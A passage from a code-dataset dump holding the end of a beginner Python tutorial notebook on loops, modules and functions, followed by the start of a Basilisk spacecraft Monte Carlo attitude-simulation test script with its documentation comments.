example.\n\n# In[68]:\n\n\nfavoriteColor = \"Yellow\"\n\nif (favoriteColor == \"Red\"):\n    print (\"My favorite color is red.\")\nelif (favoriteColor == \"Orange\"):\n    print (\"My favorite color is orange.\")\nelif (favoriteColor == \"Yellow\"):\n    print (\"My favorite color is yellow.\")\nelif (favoriteColor == \"Green\"):\n    print (\"My favorite color is green.\")\nelif (favoriteColor == \"Blue\"):\n    print (\"My favorite color is blue.\")\nelif (favoriteColor == \"Indigo\"):\n    print (\"My favorite color is indigo.\")\nelif (favoriteColor == \"Violet\"):\n    print (\"My favorite color is violet.\")\nelse:\n    print (\"I don't have a favorite color.\")\n\n\n# ## Loops\n\n# One of the programming features is that we have many options to do the same tasking multiple times.  The three methods we will be looking at are:\n# * Functions (later notebook)\n# * For loops\n# * While Loops\n# \n\n# ### For Loops\n\n# Loops allow us to do the same thing to each item in a list or array. One of the most basic types of loops is a *for loop* - this allows us to iterate over any sequence.\n# \n# We set up a for loop using 2 things:\n# * loop variable - the value of the sequence currently being used\n# * sequence - the data we iterate over\n# \n# The sequence can be any list.  We set up *for loop* using the *for* and *in* keywords, a colon, and all of the code within the *for loop* indented.\n\n# In[69]:\n\n\nexampleList = ['a', 'niner', 6, 6.1, 'V@@@', 1001/2, 42]\n\nprint( exampleList )\n\n\n# Now, before we talked about accessing elements in a list or array by their index. Meaning, if we wanted to print this out, we would need to...\n\n# In[70]:\n\n\nprint( exampleList[0] )\nprint( exampleList[1] )\nprint( exampleList[2] )\nprint( exampleList[3] )\nprint( exampleList[4] )\nprint( exampleList[5] )\nprint( exampleList[6] )\n\n\n# #### Looping Over Values\n\n# Very time consuming and frustrating \ud83d\ude24. \n# \n# Loops make this sooooooo much easier. There are three parts to a *for loop*. \n# \n# ```python\n# \n# for variable_name_we_make_up in our_list_name:\n#     do_something_with_each_value( variable_name_we_make_up )\n#     \n# ```\n# \n# As stated, variable_name_we_make_up is something we makeup and is used to represent the value as we loop through our, well,... loop. \n# \n# ```python\n# groceryList = [\"apple\", \"banana\", \"eggs\"]\n# ``` \n# \n# Remember me? \n\n# In[71]:\n\n\ngroceryList = [\"apple\", \"banana\", \"eggs\"]\n\nfor itemInOurList in groceryList:\n    print (itemInOurList)\n\n\n# Like mentioned, we name the variable. Here is the same idea again.\n\n# In[72]:\n\n\ngroceryList = [\"apple\", \"banana\", \"eggs\"]\n\nfor steve in groceryList:\n    print (steve)\n\n\n# Going back to our original list. See how much easier it is to print these values? \n\n# In[73]:\n\n\nfor item in exampleList:\n    print (item)\n\n\n# #### Looping Over Indices\n\n# Sometimes, it's helpful to iterate using indices.  For example, linear algebra heavy calculations will almost always use indices to make working with vectors and matrices easier.\n# \n# We can use the \n# ```python \n# len()\n# ```\n# and\n# ```python \n# range()\n# ```\n# \n# functions to show the length and create indices.  We can then iterate using the index rather than the values. Let's show off these functions. \n\n# In[74]:\n\n\ngroceryList = [\"apple\", \"banana\", \"eggs\"]\nprint ( len(groceryList) )\n\n\n# In[75]:\n\n\nprint ( range(3) )\n\n\n# ```{note}\n# *range()* can be a bit misleading. The range is always one less than what you might expect. Meaning, *range(0,3)* goes from 0 to 1 to 2 to... that's it. So when using *range()* think about it as *range(starting number, ending number - 1)*\n# ```\n\n# In[76]:\n\n\nfor index in range(len(groceryList)):\n    print(\"index:\",index,\"value:\",groceryList[index])\n\n\n# You may have noticed that the second line is indented.  Like we saw before with If/Else statements. This indent is how we indicate what is in the loop.  Our loop can have many lines (all indented).  The first line that isn't indented indicates we are out of the loop.  This indent is the python syntax for in and out of the loop; other coding languages use other things such as braces {}.  Note that blank lines don't matter, just indentation.\n\n# In[77]:\n\n\nprint( \"Starting the loop\" )\nfor val in groceryList:\n    print( \"\\t\", \"item:\", val )\n    \n    print( \"\\t\", \"Inside the loop\" )\nprint( \"Outside the loop\" )\n\n\n# ### While loops\n\n# For loops are used when you have something you are iterating over - you know the length.  You can use a while loop if you don't know the number of times something will run. The while loop code requires a conditional statement; the loop will continue to run as long as this is true and will not run again as soon as it is false.\n\n# ##### Conceptual Example\n# You can think about taking a test in two different ways. \n# \n# > Scenario: You are looking through your junk drawer for your sunglasses  \n# \n# For loop:\n# ```python\n# for item in junk_drawer:\n#     if (item == \"sunglasses\"):\n#         \"put them on\" \ud83d\ude0e\n#     else:\n#         \"keep looking\"\n# ```\n# \n# While loop:\n# ```python \n# while item != \"sunglasses\":\n#     \"keep looking\"\n#     item = \"some item in the junk drawer\"\n# \"put them on\" \ud83d\ude0e\n# ``` \n# \n# Can you see where each has their unique take on looping? Of course, you don't; you are wearing sunglasses indoors. Take them off first, then check out their uniqueness.\n\n# The condition being set by the while statement will cause this to run as long as the statement is true.\n\n# In[78]:\n\n\ncounting = 0\n\nwhile (counting < 10):\n    print ( \"before:\", counting )\n    counting = counting + 1\n    print (\"\\t\",\"after:\",counting)\n\n\n# One thing to note is that the while loop won't ever be entered if the condition is false when the statement begins as false.\n\n# In[79]:\n\n\nstartAtTen = 10\n\nwhile (startAtTen < 10):\n    print ( \"before:\", startAtTen )\n    counting = counting + 1\n    print (\"\\t\",\"after:\",startAtTen )\n\n\n# ###### \ud83d\ude08 A VERY MEAN Example \ud83d\ude08\n\n# Let's see where we can use this type of loop, in this \ud83d\ude08 VERY MEAN Example \ud83d\ude08. We are creating a set of 30 random numbers from 1 to 50. The *while* will run until it hits its first even number and print this out. Can you spot its MEAN intention?\n\n# In[80]:\n\n\nimport random\nrandomList = [random.randrange(1, 50, 1) for i in range(30)]\nprint ( randomList[0:5] )\n\nindex = 0\nprint (\"start loop\")\nwhile ( randomList[index] % 2 ):\n    index = index + 1\nprint ( \"the first even number is:\", randomList[index])\n\n\n# So why is this very mean?! Look at our warning.\n\n# ```{warning}\n# While loops will keep iterating as long as the statement stays true.  Infinite loops are caused by a condition that always stays true.  Use the stop button ( \ud83d\udd32 but filled in ) to stop this erroneous code. Here is an example of this type of code. \n# ```\n\n# ```python\n# counting = 0\n# \n# while (counting < 0):\n#     print ( \"This the loop that never ends. Yes, it goes on and on, my friend!\" ) \n#     print ( \"Some people started looping it not knowing what it was, \" )\n#     print ( \"and they'll continue looping it forever just because...\" ) \n#     counting = counting + 1\n# ```\n\n# This is \ud83d\ude08 A VERY MEAN Example \ud83d\ude08 because it is possible to have a set without a single even number. The odds of picking an even or an odd is a coin flip (50%). Now do this 30 times. What are the odds of flipping a coin 30 times without a single \"Tails?\" \n# \n# $\\frac{1}{2}$ = 1 coin\n# \n# $\\frac{1}{2} * \\frac{1}{2}$ = 2 coins\n# \n# $\\frac{1}{2} * \\frac{1}{2} * \\frac{1}{2}$ = 3 coins\n# \n# $(\\frac{1}{2})^n$ = n coin\n# \n# $(\\frac{1}{2})^{30}$ = 30 coin = $(\\frac{1}{1073741824})$  OR one in 1 billion, 73 million, 741 thousand, 824. \n# \n# Meaning, a person out of 1073741824 will have an infinite loop! \n# \n# MUAHAHAHA!!!\n\n# ### Your Turn!\n\n# Try to fill in code to fulfill the request!  Here is a variable used in the excercises\n\n# In[81]:\n\n\naListOfNumbers = [6, 3, 4, 5, 7, 8, 9 ]\n\n\n# Write a function that returns the length of aListOfNumbers as well as the maximum value. Hint: max() is a built-in function\n\n# In[82]:\n\n\n# Try it here:\n\n\n# Use a for loop to add up all of the numbers in aListOfNumbers.\n\n# In[83]:\n\n\n# Try it here:\n\n\n# Use a while loop to find the first number in aListOfNumbers that is both greater than 5 and a multiple of 4.\n\n# In[84]:\n\n\n# Try it here:\n\n\n# Count the number of values in aListOfNumbers that are:\n# * even\n# * odd and divisible by three\n# * odd and not divisible by three\n# \n# using if, elif and else.\n\n# In[85]:\n\n\n# Try it here:\n\n\n# Create a dictionary with keys 1-8 corresponding to the words one, two, three, etc. Loop through aListofNumbers to print out the word corresponding to the digit and provide a default value of 'Not Found' if the key is not contained within the dictionary.  You should get: six three four five seven eight Not Found\n\n# In[86]:\n\n\n# Try it here:\n\n\n# ## Loading a Library\n\n# Module or Library?\n\n# Modules are python's way of organizing functions, variables and constructors, similar to libraries in other languages.  In this section, we will look at:\n# * Using existing python modules\n# * Building our own modules\n# * Finding the things that are within modules\n\n# ### Built in Modules\n\n# Python uses modules to make additional functionality available.  Modules can be thought of as libraries with many functions, data types, and characteristics that can be used once loaded. \n\n# We load modules using the import statement:\n# * Highly recommend import using a name (import module as name)\n# * Use the name to keep multiply defined functions separate\n# * You can import only individual functions from a module\n# * You can also rename functions.\n\n# In[87]:\n\n\n# Import all functions using a name\nimport numpy as np\n# We then use the name to refer to functions from this module\nprint( np.sin( 1./2. * np.pi ) )\n\n# We can also import just some of the functions, as well as change their names\nfrom math import cos as mathCos\nprint( mathCos( np.pi ) )\n\n\n# Some common python modules are:\n# * numpy\n# * matplotlib\n# * math\n# * scipy\n# * pandas\n# \n# Modules based on their topic can be found: https://wiki.python.org/moin/UsefulModules\n\n# Some modules are already included on the system.  You may have to add or update some yourself. Python uses pip for module addition, which includes dependencies. Typically users will put modules in their own space using --user, rather than install them globally. For example, to add cython and to update matplolib you would run in a cell:\n# ```javascript\n# !pip install cython --user\n# \n# !pip install matplotlib --user --upgrade\n# ```\n\n# We can also use dir to see what is currently available to use:\n\n# ### Your Turn!\n\n# Call the math version of tan() mathTan and print out tangent of pi/2.  (Hint, pi can come from math or numpy).\n\n# In[88]:\n\n\n# Try it here\n\n\n# Does numpy include functions called log10 and banana?\n\n# In[89]:\n\n\n# Try it here\n\n\n# ## Creating a Function\n\n# Functions allow us to do repeated tasks easily by writing the code only once.  Functions will have a name, inputs, and outputs and can be called anywhere the task is repeated.\n# \n# There are functions that are built into python; for example, we have already been using the type() function, which tells us the type of variable we are using.  Note that print is also a function!\n\n# In[90]:\n\n\naVal = 10.0\nprint( type( aVal ) )\n\n\n# Functions have four typical parts:\n# * Name - what you call your function\n# * Input arguments - what you provide\n# * Outputs - what the function gives back\n# * Math/Magic - what the function does\n\n# ### Creating Our Own Function\n\n# In python, we use def to define a function with the function name and inputs followed by a colon.  The python function is then separated from the rest of the code by a tab. Some languages use braces rather than indentation.\n# ````python\n# def functionName( inputs ):\n#     # Operate on the inputs\n#     ouputs = inputs + 5\n#     # Return what we want to back\n#     return outputs;\n#    ````\n\n# Let's look at an example function, which changes degrees Fahrenheit to Celsius. \n\n# In[91]:\n\n\ndef changeFromFToC( farVal ):\n    cVal = (farVal - 32.0) * 5.0 / 9.0\n    return cVal \n\n\n# Here, our function name is *changeFromFToC*, the input is *farVal*, the temperature in Fahrenheit, the output is *cVal*, and the temperature in Celsius. We can print or store the output from the function.  Note that the function has to be defined before we use it - the cell with the function definition has to have run before we can call the function.\n\n# In[92]:\n\n\nprint( \"Change 14 deg F to Celsius\" )\nprint( changeFromFToC( 14 ) )\n\nprint( \"Change from 68 deg F to Celsius\" )\nniceTempC = changeFromFToC( 68 )\nprint( niceTempC )\n\n\n# Your turn! What is the temperature today? Convert it to Celsius. \n# \n# For those who have the temperature in Celsius and want to convert it to Fahrenheit. Define a new function to do this.\n\n# #### Multiple inputs and outputs\n\n# Here is an example of multiple outputs. We can actually work the output in a couple of different ways.\n\n# ##### Multiple Output Function\n\n# In[93]:\n\n\ndef changeFromFToCAndK( farVal ):\n    # Change the temperature from Fahrenheit to Celsius and Kelvin\n    cVal = (farVal - 32.0) * 5.0 / 9.0\n    kVal= cVal + 273.15\n    return cVal, kVal  \n\n\n# ##### Output: List\n\n# In[94]:\n\n\ndef changeFromFToCAndK( farVal ):\n    # Change the temperature from Fahrenheit to Celsius and Kelvin\n    cVal = (farVal - 32.0) * 5.0 / 9.0\n    kVal= cVal + 273.15\n    return cVal, kVal    \n    \nprint( \"Change 14 deg F to Celsius and Kelvin\" )\nprint( changeFromFToCAndK( 14 ) )\n\nprint( \"Change 32 deg F to Celsius and Kelvin\" )\nfreezing = changeFromFToCAndK( 32 ) \nprint( freezing[0] )\nprint( freezing[1] )\n\n\n# ##### Output: Multiple Variables \n\n# In[95]:\n\n\nprint( \"Change 212 deg F to Celsius and Kelvin\" )\nboilingC, boilingK = changeFromFToCAndK( 212 ) \nprint( boilingC )\nprint( boilingK )\n\n\n# ##### Multiple Input Function\n\n# In[96]:\n\n\ndef changeFromFToCOrK( farVal, tempType ):\n    if (tempType == \"C\"):\n        return (farVal - 32.0) * 5.0 / 9.0\n    elif (tempType == \"K\"):\n        return ((farVal - 32.0) * 5.0 / 9.0) + 273.15\n    else:\n        return \"invalid temperature type\"\n\n\n# In[97]:\n\n\nprint ( changeFromFToCOrK(70,\"C\") )\n\n\n# In[98]:\n\n\nprint ( changeFromFToCOrK(70,\"K\") )\n\n\n# In[99]:\n\n\nprint ( changeFromFToCOrK(70,\"W\") )\n\n\n# #### Function Gotcha! \ud83d\ude06 \n\n# ```{note}\n# The biggest gotcha on functions is with variable scope: \n# * Variables defined in a function are not accessible from the outside\n# * Functions have access to more than just the variables passed in\n# ```\n\n# In[100]:\n\n\ndef addAnAnimal( animal ):\n    print (\"\\t\",\"in the function\")\n    print (\"\\t\",\"I have access to dog:\",dog)\n    print (\"\\t\",\"I have access to animal:\",animal)\n    newValue = animal + 1\n    print (\"\\t\",\"I have access to newValue:\",newValue)\n    return newValue\n  \nprint (\"outside the function\")\ndog = 10\nprint(\"dog:\", dog)\nprint (\"function output:\",addAnAnimal( dog ))\n\n\n# If we would add:\n# \n# ```python\n# print (newValue)\n# ```\n# \n# to the bottom, we would end up with this:\n\n# ```python\n# def addAnAnimal( animal ):\n#     print (\"\\t\",\"in the function\")\n#     print (\"\\t\",\"I have access to dog:\",dog)\n#     print (\"\\t\",\"I have access to animal:\",animal)\n#     newValue = animal + 1\n#     print (\"\\t\",\"I have access to newValue:\",newValue)\n#     return newValue\n#   \n# print (\"outside the function\")\n# dog = 10\n# print(\"dog:\", dog)\n# print (\"function output:\",addAnAnimal( dog ))\n# print (newValue)\n# ```\n# \n# outside the function\n# \n# dog: 10\n# \n# &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in the function\n#      \n# &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have access to dog: 10\n#      \n# &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have access to animal: 10\n#      \n# &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have access to newValue: 11\n#      \n# function output: 11\n# \n# ```python\n# ---------------------------------------------------------------------------\n# NameError                                 Traceback (most recent call last)\n# <ipython-input-32-07cce689eb00> in <module>\n#      11 print(\"dog:\", dog)\n#      12 print (\"function output:\",addAnAnimal( dog ))\n# ---> 13 print (newValue)\n# \n# NameError: name 'newValue' is not defined\n# ```\n#     \n\n# ### Your Turn!\n\n# Try to fill in code to fulfill the request!  Here is a variable used in the excercises.\n\n# In[101]:\n\n\naListOfNumbers = [6, 3, 4, 5, 7, 8, 9 ]\n\n\n# Write a function that returns the length of aListOfNumbers as well as the maximum value. Hint: max() is a built-in function\n\n# In[102]:\n\n\n## try here!\n\n", "meta": {"hexsha": "6fa301ee233eb083151a127cfe6c2758da36964f", "size": 43524, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/1 Hour Workshop.py", "max_stars_repo_name": "dudaspm/LDA_Bias_Data", "max_stars_repo_head_hexsha": "ffbabb5765a878bf49bac68baaa083342243a616", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/1 Hour Workshop.py", "max_issues_repo_name": "dudaspm/LDA_Bias_Data", "max_issues_repo_head_hexsha": "ffbabb5765a878bf49bac68baaa083342243a616", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/1 Hour Workshop.py", "max_forks_repo_name": "dudaspm/LDA_Bias_Data", "max_forks_repo_head_hexsha": "ffbabb5765a878bf49bac68baaa083342243a616", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.4504310345, "max_line_length": 445, "alphanum_fraction": 0.6566721809, "include": true, "reason": "import numpy", "num_tokens": 12101, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2658804614657029, "lm_q2_score": 0.20434189509139694, "lm_q1q2_score": 0.05433051736367686}}
{"text": "''' '''\n'''\n ISC License\n\n Copyright (c) 2016, Autonomous Vehicle Systems Lab, University of Colorado at Boulder\n\n Permission to use, copy, modify, and/or distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n'''\n\n#\n# Basilisk Integrated Test\n#\n# Purpose:  Integrated test of the MonteCarlo module.  Runs multiple\n#           scenarioAttitudeFeedbackRW with dispersed initial parameters\n#\n\n\nimport inspect\nimport math\nimport os\nimport numpy as np\nimport shutil\nimport matplotlib.pyplot as plt\n\nDATASHADER_FOUND = True\ntry:\n    from Basilisk.utilities import datashaderGraphingInterface as datashaderLibrary\nexcept ImportError:\n    print \"Datashader library not found. Will use matplotlib\"\n    DATASHADER_FOUND = False\n\n\n# @cond DOXYGEN_IGNORE\nfilename = inspect.getframeinfo(inspect.currentframe()).filename\nfileNameString = os.path.basename(os.path.splitext(__file__)[0])\npath = os.path.dirname(os.path.abspath(filename))\n# @endcond\n\nfrom Basilisk import __path__\nbskPath = __path__[0]\n\n# import general simulation support files\nfrom Basilisk.utilities import SimulationBaseClass\nfrom Basilisk.utilities import unitTestSupport                  # general support file with common unit test functions\nfrom Basilisk.utilities import macros\nfrom Basilisk.utilities import orbitalMotion\n\n# import simulation related support\nfrom Basilisk.simulation import spacecraftPlus\nfrom Basilisk.utilities import simIncludeGravBody\nfrom Basilisk.utilities import simIncludeRW\nfrom Basilisk.simulation import simple_nav\nfrom Basilisk.simulation import reactionWheelStateEffector\nfrom Basilisk.simulation import rwVoltageInterface\n\n# import FSW Algorithm related support\nfrom Basilisk.fswAlgorithms import MRP_Feedback\nfrom Basilisk.fswAlgorithms import inertial3D\nfrom Basilisk.fswAlgorithms import attTrackingError\nfrom Basilisk.fswAlgorithms import rwMotorTorque\nfrom Basilisk.utilities import fswSetupRW\nfrom Basilisk.fswAlgorithms import rwMotorVoltage\n\n# import message declarations\nfrom Basilisk.fswAlgorithms import fswMessages\n\nfrom Basilisk.utilities.MonteCarlo.Controller import Controller, RetentionPolicy\nfrom Basilisk.utilities.MonteCarlo.Dispersions import (UniformEulerAngleMRPDispersion, UniformDispersion,\n                                                       NormalVectorCartDispersion, InertiaTensorDispersion)\n\n\nNUMBER_OF_RUNS = 4\nVERBOSE = True\n\n\n\n# Here are the name of some messages that we want to retain or otherwise use\ninertial3DConfigOutputDataName = \"guidanceInertial3D\"\nattErrorConfigOutputDataName = \"attErrorInertial3DMsg\"\nmrpControlConfigOutputDataName = \"LrRequested\"\nrwMotorTorqueConfigOutputDataName = \"rw_torque_Lr\"\nmrpControlConfigInputRWSpeedsName = \"reactionwheel_output_states\"\nsNavObjectOutputTransName = \"simple_trans_nav_output\"\nfswRWVoltageConfigVoltageOutMsgName = \"rw_voltage_input\"\n\n# If using datashader, set this to 1 to graph\n# from existing csv files. Otherwise, set this to 0. This is usually set in the configure()\n# method at the bottom of the file\nONLY_GRAPH_DATA = 0\n\nrwOutName = [\"rw_config_0_data\", \"rw_config_1_data\", \"rw_config_2_data\"]\n\n# We also will need the simulationTime and samplingTimes\nnumDataPoints = 500\nsimulationTime = macros.min2nano(10.)\nsamplingTime = simulationTime / (numDataPoints-1)\n\n\n\n## \\defgroup Tutorials_5_0\n##   @{\n## Demonstrates how to run basic Monte-Carlo (MC) RW-based attitude simulations.\n#\n# MC Simulation of an Attitude Detumbling Simulation using RW Effectors {#MonteCarloSimulation}\n# ====\n#\n# Scenario Description\n# -----\n# This script duplicates the scenario in [scenarioAttitudeFeedbackRW.py](@ref scenarioAttitudeFeedbackRW) where a\n# 6-DOF spacecraft  is orbiting the Earth.  Here some simulation parameters are dispersed randomly\n# using a multi threaded Monte-Carlo setup. Reaction Wheel (RW) state effector are added\n# to the rigid spacecraftPlus() hub, and what flight\n# algorithm module is used to control these RWs. The scenario is run in a single configuration:\n# by not using the Jitter model and by using the RW Voltage IO. Given this scenario we can add dispersions\n# to the variables in between each MC run.\n#\n#\n# To run the MC simulation, call the python script from a Terminal window through\n#\n#       python scenarioMonteCarloAttRW.py\n#\n# For more information on the Attitude Feedback Simulation with RW, please see the documentation\n# on the [scenarioAttitudeFeedbackRW.py](@ref scenarioAttitudeFeedbackRW) file.\n#\n#\n# ### Setup Changes for Monte-Carlo Runs\n#\n# In order to set up the multi-threaded MC simulation, the user must first instantiate the Controller class.\n# The function that is being simulated is the set in this class (in this case, it's defined in the same file as the\n# MC scenario). The user can then set other variables such as the number of runs, the dispersion seeds, and number of\n# cores.\n# The specific code required is:\n# ~~~~~~~~~~~~~{.py}\n#   #First, the `Controller` class is used in order to define the simulation\n#   monteCarlo = Controller()\n#\n#   # Every MonteCarlo simulation must define a function that creates the `SimulationBaseClass` to execute and returns it. Within this function, the simulation is created and configured\n#   monteCarlo.setSimulationFunction(createScenarioAttitudeFeedbackRW)\n#\n#   # Also, every MonteCarlo simulation must define a function which executes the simulation that was created.\n#   monteCarlo.setExecutionFunction(executeScenario)\n#\n#   # A Monte Carlo simulation must define how many simulation runs to execute\n#   monteCarlo.setExecutionCount(NUMBER_OF_RUNS)\n#\n#   # The simulations can have random seeds of each simulation dispersed randomly\n#   monteCarlo.setShouldDisperseSeeds(True)\n#\n#   # Optionally set the number of cores to use\n#   # monteCarlo.setThreadCount(PROCESSES)\n#\n#   # Whether to print more verbose information during the run\n#   monteCarlo.setVerbose(VERBOSE)\n#\n#   # We set up where to retain the data to.\n#   dirName = \"montecarlo_test\"\n#   monteCarlo.setArchiveDir(dirName)\n# ~~~~~~~~~~~~~\n# The next important step to setting up the MC runs is to disperse the necessary variables.\n# The dispersions that are set are listed in the following table:\n#\n# Input      | Description of Element    | Distribution\n# ------------- | ---------|-----------------\n# Inertial attitude       |Using Modified Rodrigues Parameters | Uniform for all 3 rotations betweenr [0, 2 pi]\n# Inertial rotation rate         | Using omega vector      | Normal dispersions for each of the rotation components, each of mean 0 and standard deviation 0.25 deg/s\n# Mass of the hub   | Total Mass of the spacecraft | Uniform around +/-5% of expected values. Bounds are [712.5, 787.5]\n# Center of Mass Offset | Position vector offset on the actual center of mass, and its theoretical position | Normally around a mean [0, 0, 1], with standard deviations of [0.05/3, 0.05/3, 0.1/3]\n# Inertia Tensor  |3x3 inertia tensor. Dispersed by 3 rotations | Normally about mean value of diag(900, 800, 600). Each of the 3 rotations are normally distributed with angles of mean 0 and standard deviation 0.1 deg.\n# RW axes  |The rotation axis for each of the 3 wheels | Normally around a respective means [1,0,0], [0,1,0], and [0,0,1] with respective standard deviations [0.01/3, 0.005/3, 0.005/3], [0.005/3, 0.01/3, 0.005/3], and [0.005/3, 0.005/3, 0.01/3]\n# RW speeds | The rotation speed for each of the 3 wheels |Uniform around  +/-5% of expected values. Bounds are [95, 105], [190, 210], and [285, 315]\n# Voltage to Torque Gain         |The gain between the commanded torque and the actual voltage | Uniform around  +/-5% of expected values. Bounds are [0.019, 0.021]\n#\n# The python commands to add these dispersions are shown below:\n#\n# ~~~~~~~~~~~~~~~~~{.py}\n#     # Statistical dispersions can be applied to initial parameters using the MonteCarlo module\n#     dispMRPInit = 'TaskList[0].TaskModels[0].hub.sigma_BNInit'\n#     dispOmegaInit = 'TaskList[0].TaskModels[0].hub.omega_BN_BInit'\n#     dispMass = 'TaskList[0].TaskModels[0].hub.mHub'\n#     dispCoMOff = 'TaskList[0].TaskModels[0].hub.r_BcB_B'\n#     dispInertia = 'hubref.IHubPntBc_B'\n#     dispRW1Axis = 'RW1.gsHat_B'\n#     dispRW2Axis = 'RW2.gsHat_B'\n#     dispRW3Axis = 'RW3.gsHat_B'\n#     dispRW1Omega = 'RW1.Omega'\n#     dispRW2Omega = 'RW2.Omega'\n#     dispRW3Omega = 'RW3.Omega'\n#     dispVoltageIO = 'rwVoltageIO.voltage2TorqueGain'\n#     dispList = [dispMRPInit, dispOmegaInit, dispMass, dispCoMOff, dispInertia]\n#\n#     # Add dispersions with their dispersion type\n#     monteCarlo.addDispersion(UniformEulerAngleMRPDispersion(dispMRPInit))\n#     monteCarlo.addDispersion(NormalVectorCartDispersion(dispOmegaInit, 0.0, 0.75 / 3.0 * np.pi / 180))\n#     monteCarlo.addDispersion(UniformDispersion(dispMass, ([750.0 - 0.05*750, 750.0 + 0.05*750])))\n#     monteCarlo.addDispersion(NormalVectorCartDispersion(dispCoMOff, [0.0, 0.0, 1.0], [0.05 / 3.0, 0.05 / 3.0, 0.1 / 3.0]))\n#     monteCarlo.addDispersion(InertiaTensorDispersion(dispInertia, stdAngle=0.1))\n#     monteCarlo.addDispersion(NormalVectorCartDispersion(dispRW1Axis, [1.0, 0.0, 0.0], [0.01 / 3.0, 0.005 / 3.0, 0.005 / 3.0]))\n#     monteCarlo.addDispersion(NormalVectorCartDispersion(dispRW2Axis, [0.0, 1.0, 0.0], [0.005 / 3.0, 0.01 / 3.0, 0.005 / 3.0]))\n#     monteCarlo.addDispersion(NormalVectorCartDispersion(dispRW3Axis, [0.0, 0.0, 1.0], [0.005 / 3.0, 0.005 / 3.0, 0.01 / 3.0]))\n#     monteCarlo.addDispersion(UniformDispersion(dispRW1Omega, ([100.0 - 0.05*100, 100.0 + 0.05*100])))\n#     monteCarlo.addDispersion(UniformDispersion(dispRW2Omega, ([200.0 - 0.05*200, 200.0 + 0.05*200])))\n#     monteCarlo.addDispersion(UniformDispersion(dispRW3Omega, ([300.0 - 0.05*300, 300.0 + 0.05*300])))\n#     monteCarlo.addDispersion(UniformDispersion(dispVoltageIO, ([0.2/10. - 0.05 * 0.2/10., 0.2/10. + 0.05 * 0.2/10.])))\n# ~~~~~~~~~~~~~~~~~\n#\n# A retention policy is used to log the desired data. This is shown in the following code:\n#\n# ~~~~~~~~~~~~~{.py}\n#     # A `RetentionPolicy` is used to define what data from the simulation should be retained. A `RetentionPolicy` is a list of messages and variables to log from each simulation run. It also has a callback, used for plotting/processing the retained data.\n#     retentionPolicy = RetentionPolicy()\n#     # define the data to retain\n#     retentionPolicy.addMessageLog(rwMotorTorqueConfigOutputDataName, [(\"motorTorque\", range(5))], samplingTime)\n#     retentionPolicy.addMessageLog(attErrorConfigOutputDataName, [(\"sigma_BR\", range(3)), (\"omega_BR_B\", range(3))], samplingTime)\n#     retentionPolicy.addMessageLog(sNavObjectOutputTransName, [(\"r_BN_N\", range(3))], samplingTime)\n#     retentionPolicy.addMessageLog(mrpControlConfigInputRWSpeedsName, [(\"wheelSpeeds\", range(3))], samplingTime)\n#     retentionPolicy.addMessageLog(fswRWVoltageConfigVoltageOutMsgName, [(\"voltage\", range(3))], samplingTime)\n# ~~~~~~~~~~~~~\n#\n# The simulation can now be run. It returns the failed jobs, which should not occur.\n# The data can then be loaded:\n#\n# ~~~~~~~~~~~~~{.py}\n# After the monteCarlo run is configured, it is executed.\n# This method returns the list of jobs that failed.\n# failures = monteCarlo.executeSimulations()\n#\n# assert len(failures) == 0, \"No runs should fail\"\n#\n# # Now in another script (or the current one), the data from this simulation can be easily loaded.\n# # This demonstrates loading it from disk\n# monteCarloLoaded = Controller.load(dirName)\n# ~~~~~~~~~~~~~\n#\n# ### Accessing Data\n#\n# Now that the MC have been executed, the data can be accessed and tested in different ways\n# This is explained in the following python code and comments\n#\n# ~~~~~~~~~~~~~~~{.py}\n#        # Then retained data from any run can then be accessed in the form of a dictionary with two sub-dictionaries for messages and variables:\n#     retainedData = monteCarloLoaded.getRetainedData(NUMBER_OF_RUNS-1)\n#     assert retainedData is not None, \"Retained data should be available after execution\"\n#     assert \"messages\" in retainedData, \"Retained data should retain messages\"\n#     assert \"attErrorInertial3DMsg.sigma_BR\" in retainedData[\"messages\"], \"Retained messages should exist\"\n#\n#     # We also can rerun a case using the same parameters and random seeds\n#     # If we rerun a properly set-up run, it should output the same data.\n#     # Here we test that if we rerun the case the data doesn't change\n#     oldOutput = retainedData[\"messages\"][\"attErrorInertial3DMsg.sigma_BR\"]\n#\n#     # Rerunning the case shouldn't fail\n#     failed = monteCarloLoaded.reRunCases([NUMBER_OF_RUNS-1])\n#     assert len(failed) == 0, \"Should rerun case successfully\"\n#\n#     # Now access the newly retained data to see if it changed\n#     retainedData = monteCarloLoaded.getRetainedData(NUMBER_OF_RUNS-1)\n#     newOutput = retainedData[\"messages\"][\"attErrorInertial3DMsg.sigma_BR\"]\n#     for k1, v1 in enumerate(oldOutput):\n#         for k2, v2 in enumerate(v1):\n#             assert math.fabs(oldOutput[k1][k2] - newOutput[k1][k2]) < .001, \\\n#             \"Outputs shouldn't change on runs if random seeds are same\"\n#\n#     # We can also access the initial parameters\n#     # The random seeds should differ between runs, so we will test 